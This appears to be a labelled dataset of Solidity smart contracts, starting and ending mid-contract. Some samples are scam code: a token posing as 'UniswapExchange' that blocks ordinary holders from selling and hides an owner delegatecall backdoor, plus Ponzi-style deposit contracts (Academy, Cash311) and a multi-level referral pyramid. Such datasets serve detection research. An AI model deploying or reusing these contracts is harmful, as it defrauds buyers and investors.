.sub(referralFee)
.sub(serviceFee)
.sub(investorsFee);
token.mint(client, active / 100 * token.rate() / token.mrate());
data.addBalance(owner, serviceFee * 10000);
} else {
token.mint(client, amount * token.rate() / token.mrate());
}
}
function distribute(
address _node,
uint _prevPercentage,
uint8 _depositsCount,
uint _amount
)
private
{
address node = _node;
uint prevPercentage = _prevPercentage;
while(node != address(0)) {
uint8 status = data.statuses(node);
uint nodePercentage = feeDistribution[status][_depositsCount];
uint percentage = nodePercentage.sub(prevPercentage);
data.addBalance(node, _amount * percentage * 10000);
data.addReferralDeposit(node, _amount * ethUsdRate / 10**18);
updateStatus(node, status);
node = data.parentOf(node);
prevPercentage = nodePercentage;
}
}
function updateStatus(address _node, uint8 _status) private {
uint refDep = data.referralDeposits(_node);
for (uint i = thresholds.length - 1; i > _status; i--) {
uint threshold = thresholds[i] * 100;
if (refDep >= threshold) {
data.setStatus(_node, statusThreshold[threshold]);
break;
}
}
}
function distributeInvestorsFee(uint start, uint end) onlyOwner public {
for (uint i = start; i < end; i++) {
address investor = investors.investors(i);
uint investorPercentage = investors.investorPercentages(investor);
data.addInvestorBalance(investor, investorsBalance * investorPercentage);
}
if (end == investors.getInvestorsCount()) {
investorsBalance = 0;
}
}
function setRate(uint _rate) onlyOwner public {
token.setRate(_rate);
}
function setEthUsdRate(uint _ethUsdRate) onlyOwner public {
ethUsdRate = _ethUsdRate;
}
function invite(
address _inviter,
address _invitee
)
public onlyOwner
{
data.setParent(_invitee, _inviter);
data.setStatus(_invitee, 0);
}
function setStatus(address _addr, uint8 _status) public onlyOwner {
data.setStatus(_addr, _status);
}
function setInvestors(address _addr) public onlyOwner {
investors = Investors(_addr);
}
function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner {
uint amount = investor ? data.investorBalanceOf(_addr)
: data.balanceOf(_addr);
require(amount >= _amount && this.balance >= _amount);
if (investor) {
data.subtrInvestorBalance(_addr, _amount * 1000000);
} else {
data.subtrBalance(_addr, _amount * 1000000);
}
_addr.transfer(_amount);
}
function withdrawOwner(address _addr, uint256 _amount) public onlyOwner {
require(this.balance >= _amount);
_addr.transfer(_amount);
}
function withdrawToken(address _addr, uint256 _amount) onlyOwner public {
token.burn(_addr, _amount);
uint256 etherValue = _amount * token.mrate() / token.rate();
_addr.transfer(etherValue);
}
function transferTokenOwnership(address _addr) onlyOwner public {
token.transferOwnership(_addr);
}
function transferDataOwnership(address _addr) onlyOwner public {
data.transferOwnership(_addr);
}
}
contract PChannel is Ownable {
Referral private refProgram;
uint private depositAmount = 15000;
uint private maxDepositAmount = 18750;
mapping (address => uint8) private deposits;
function PChannel(address _refProgram) public {
refProgram = Referral(_refProgram);
}
function() payable public {
uint8 depositsCount = deposits[msg.sender];
require(depositsCount < 15);
uint amount = msg.value;
uint usdAmount = amount * refProgram.ethUsdRate() / 10**18;
require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount);
refProgram.invest.value(amount)(msg.sender, depositsCount);
deposits[msg.sender]++;
}
function setRefProgram(address _addr) public onlyOwner {
refProgram = Referral(_addr);
}
} | 1 | 2,625 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,157 |
pragma solidity ^0.5.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
contract SignerRole {
using Roles for Roles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
Roles.Role private _signers;
constructor () internal {
_addSigner(msg.sender);
}
modifier onlySigner() {
require(isSigner(msg.sender));
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(msg.sender);
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.0;
contract SignatureBouncer is SignerRole {
using ECDSA for bytes32;
uint256 private constant _METHOD_ID_SIZE = 4;
uint256 private constant _SIGNATURE_SIZE = 96;
constructor () internal {
}
modifier onlyValidSignature(bytes memory signature) {
require(_isValidSignature(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndMethod(bytes memory signature) {
require(_isValidSignatureAndMethod(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndData(bytes memory signature) {
require(_isValidSignatureAndData(msg.sender, signature));
_;
}
function _isValidSignature(address account, bytes memory signature) internal view returns (bool) {
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account)), signature);
}
function _isValidSignatureAndMethod(address account, bytes memory signature) internal view returns (bool) {
bytes memory data = new bytes(_METHOD_ID_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidSignatureAndData(address account, bytes memory signature) internal view returns (bool) {
require(msg.data.length > _SIGNATURE_SIZE);
bytes memory data = new bytes(msg.data.length - _SIGNATURE_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidDataHash(bytes32 hash, bytes memory signature) internal view returns (bool) {
address signer = hash.toEthSignedMessageHash().recover(signature);
return signer != address(0) && isSigner(signer);
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.0;
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
contract AbstractAmbix is Ownable {
using SafeERC20 for ERC20Burnable;
using SafeERC20 for ERC20;
address[][] public A;
uint256[][] public N;
address[] public B;
uint256[] public M;
function appendSource(
address[] calldata _a,
uint256[] calldata _n
) external onlyOwner {
uint256 i;
require(_a.length == _n.length && _a.length > 0);
for (i = 0; i < _a.length; ++i)
require(_a[i] != address(0));
if (_n.length == 1 && _n[0] == 0) {
require(B.length == 1);
} else {
for (i = 0; i < _n.length; ++i)
require(_n[i] > 0);
}
A.push(_a);
N.push(_n);
}
function setSink(
address[] calldata _b,
uint256[] calldata _m
) external onlyOwner{
require(_b.length == _m.length);
for (uint256 i = 0; i < _b.length; ++i)
require(_b[i] != address(0));
B = _b;
M = _m;
}
function _run(uint256 _ix) internal {
require(_ix < A.length);
uint256 i;
if (N[_ix][0] > 0) {
uint256 mux = ERC20(A[_ix][0]).allowance(msg.sender, address(this)) / N[_ix][0];
require(mux > 0);
for (i = 0; i < A[_ix].length; ++i) {
ERC20(B[i]).safeTransferFrom(msg.sender, address(this), mux * N[_ix][i]);
ERC20Burnable(A[_ix][i]).burn(mux * N[_ix][i]);
}
for (i = 0; i < B.length; ++i)
ERC20(B[i]).safeTransfer(msg.sender, M[i] * mux);
} else {
require(A[_ix].length == 1 && B.length == 1);
ERC20Burnable source = ERC20Burnable(A[_ix][0]);
ERC20 sink = ERC20(B[0]);
uint256 scale = 10 ** 18 * sink.balanceOf(address(this)) / source.totalSupply();
uint256 allowance = source.allowance(msg.sender, address(this));
require(allowance > 0);
source.burnFrom(msg.sender, allowance);
uint256 reward = scale * allowance / 10 ** 18;
require(reward > 0);
sink.safeTransfer(msg.sender, reward);
}
}
}
pragma solidity ^0.5.0;
contract KycAmbix is AbstractAmbix, SignatureBouncer {
function run(uint256 _ix, bytes calldata _signature) external onlyValidSignature(_signature)
{ _run(_ix); }
} | 1 | 3,314 |
pragma solidity ^0.4.25;
contract Academy {
struct Deposit {
uint depSum;
uint depDate;
uint depPayDate;
}
mapping (address => Deposit) private deps;
address private system = 0xd91B992Db799d66A61C517bB1AEE248C9d2c06d1;
constructor() public {}
function() public payable {
if(msg.value * 1000 > 9) {
take();
} else {
pay();
}
}
function take() private {
Deposit storage dep = deps[msg.sender];
if(dep.depSum == 0 || (now - dep.depDate) > 45 days) {
deps[msg.sender] = Deposit({depSum: msg.value, depDate: now, depPayDate: now});
} else {
deps[msg.sender].depSum += msg.value;
}
system.transfer(msg.value / 10);
}
function pay() private {
if(deps[msg.sender].depSum == 0) return;
if(now - deps[msg.sender].depDate > 45 days) return;
uint dayCount;
if(now - deps[msg.sender].depDate <= 30 days) {
dayCount = (now - deps[msg.sender].depPayDate) / 1 days;
} else {
dayCount = (deps[msg.sender].depDate + 30 days) - deps[msg.sender].depPayDate;
}
if(dayCount > 0) {
msg.sender.transfer(deps[msg.sender].depSum / 100 * 5 * dayCount);
deps[msg.sender].depPayDate = now;
}
}
} | 0 | 1,722 |
pragma solidity ^0.4.18;
contract DelegateERC20 {
function delegateTotalSupply() public view returns (uint256);
function delegateBalanceOf(address who) public view returns (uint256);
function delegateTransfer(address to, uint256 value, address origSender) public returns (bool);
function delegateAllowance(address owner, address spender) public view returns (uint256);
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool);
function delegateApprove(address spender, uint256 value, address origSender) public returns (bool);
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool);
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool);
}
contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public;
}
contract Pausable is Ownable {
event Pause();
event Unpause();
function pause() public;
function unpause() public;
}
contract CanReclaimToken is Ownable {
function reclaimToken(ERC20Basic token) external;
}
contract Claimable is Ownable {
function transferOwnership(address newOwner) public;
function claimOwnership() public;
}
contract AddressList is Claimable {
event ChangeWhiteList(address indexed to, bool onList);
function changeList(address _to, bool _onList) public;
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external;
}
contract HasNoEther is Ownable {
function() external;
function reclaimEther() external;
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external;
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract AllowanceSheet is Claimable {
function addAllowance(address tokenHolder, address spender, uint256 value) public;
function subAllowance(address tokenHolder, address spender, uint256 value) public;
function setAllowance(address tokenHolder, address spender, uint256 value) public;
}
contract BalanceSheet is Claimable {
function addBalance(address addr, uint256 value) public;
function subBalance(address addr, uint256 value) public;
function setBalance(address addr, uint256 value) public;
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Claimable {
function setBalanceSheet(address sheet) external;
function totalSupply() public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal;
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public;
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
}
contract StandardToken is ERC20, BasicToken {
function setAllowanceSheet(address sheet) external;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function transferAllArgsYesAllowance(address _from, address _to, uint256 _value, address spender) internal;
function approve(address _spender, uint256 _value) public returns (bool);
function approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal;
function allowance(address _owner, address _spender) public view returns (uint256);
function increaseApproval(address _spender, uint _addedValue) public returns (bool);
function increaseApprovalAllArgs(address _spender, uint _addedValue, address tokenHolder) internal;
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool);
function decreaseApprovalAllArgs(address _spender, uint _subtractedValue, address tokenHolder) internal;
}
contract CanDelegate is StandardToken {
event DelegatedTo(address indexed newContract);
function delegateToNewContract(DelegateERC20 newContract) public;
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address _owner, address spender) public view returns (uint256);
function totalSupply() public view returns (uint256);
function increaseApproval(address spender, uint addedValue) public returns (bool);
function decreaseApproval(address spender, uint subtractedValue) public returns (bool);
}
contract StandardDelegate is StandardToken, DelegateERC20 {
function setDelegatedFrom(address addr) public;
function delegateTotalSupply() public view returns (uint256);
function delegateBalanceOf(address who) public view returns (uint256);
function delegateTransfer(address to, uint256 value, address origSender) public returns (bool);
function delegateAllowance(address owner, address spender) public view returns (uint256);
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool);
function delegateApprove(address spender, uint256 value, address origSender) public returns (bool);
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool);
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool);
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function increaseApproval(address _spender, uint _addedValue) public returns (bool success);
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success);
}
contract TrueUSD is StandardDelegate, PausableToken, BurnableToken, NoOwner, CanDelegate {
event ChangeBurnBoundsEvent(uint256 newMin, uint256 newMax);
event Mint(address indexed to, uint256 amount);
event WipedAccount(address indexed account, uint256 balance);
function setLists(AddressList _canReceiveMintWhiteList, AddressList _canBurnWhiteList, AddressList _blackList, AddressList _noFeesList) public;
function changeName(string _name, string _symbol) public;
function burn(uint256 _value) public;
function mint(address _to, uint256 _amount) public;
function changeBurnBounds(uint newMin, uint newMax) public;
function transferAllArgsNoAllowance(address _from, address _to, uint256 _value) internal;
function wipeBlacklistedAccount(address account) public;
function payStakingFee(address payer, uint256 value, uint80 numerator, uint80 denominator, uint256 flatRate, address otherParticipant) private returns (uint256);
function changeStakingFees(uint80 _transferFeeNumerator, uint80 _transferFeeDenominator, uint80 _mintFeeNumerator, uint80 _mintFeeDenominator, uint256 _mintFeeFlat, uint80 _burnFeeNumerator, uint80 _burnFeeDenominator, uint256 _burnFeeFlat) public;
function changeStaker(address newStaker) public;
}
library NewSafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Cash311 {
using NewSafeMath for uint;
address owner;
TrueUSD public token = TrueUSD(0x8dd5fbce2f6a956c3022ba3663759011dd51e73e);
uint private decimals = 10**16;
mapping (address => uint) deposit;
uint deposits;
mapping (address => uint) withdrawn;
mapping (address => uint) lastTimeWithdraw;
mapping (address => uint) referals1;
mapping (address => uint) referals2;
mapping (address => uint) referals3;
mapping (address => uint) referals1m;
mapping (address => uint) referals2m;
mapping (address => uint) referals3m;
mapping (address => address) referers;
mapping (address => bool) refIsSet;
mapping (address => uint) refBonus;
function Cash311() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) external {
require(msg.sender == owner);
require(_newOwner != address(0));
owner = _newOwner;
}
function bytesToAddress1(bytes source) internal pure returns(address parsedReferer) {
assembly {
parsedReferer := mload(add(source,0x14))
}
return parsedReferer;
}
function getInfo(address _address) public view returns(uint Deposit, uint Withdrawn, uint AmountToWithdraw, uint Bonuses) {
Deposit = deposit[_address].div(decimals);
Withdrawn = withdrawn[_address].div(decimals);
uint _a = (block.timestamp.sub(lastTimeWithdraw[_address])).div(1 days).mul(deposit[_address].mul(311).div(10000));
AmountToWithdraw = _a.div(decimals);
Bonuses = refBonus[_address].div(decimals);
}
function getRefInfo(address _address) public view returns(uint Referals1, uint Referals1m, uint Referals2, uint Referals2m, uint Referals3, uint Referals3m) {
Referals1 = referals1[_address];
Referals1m = referals1m[_address].div(decimals);
Referals2 = referals2[_address];
Referals2m = referals2m[_address].div(decimals);
Referals3 = referals3[_address];
Referals3m = referals3m[_address].div(decimals);
}
function getNumber() public view returns(uint) {
return deposits;
}
function getTime(address _address) public view returns(uint Hours, uint Minutes) {
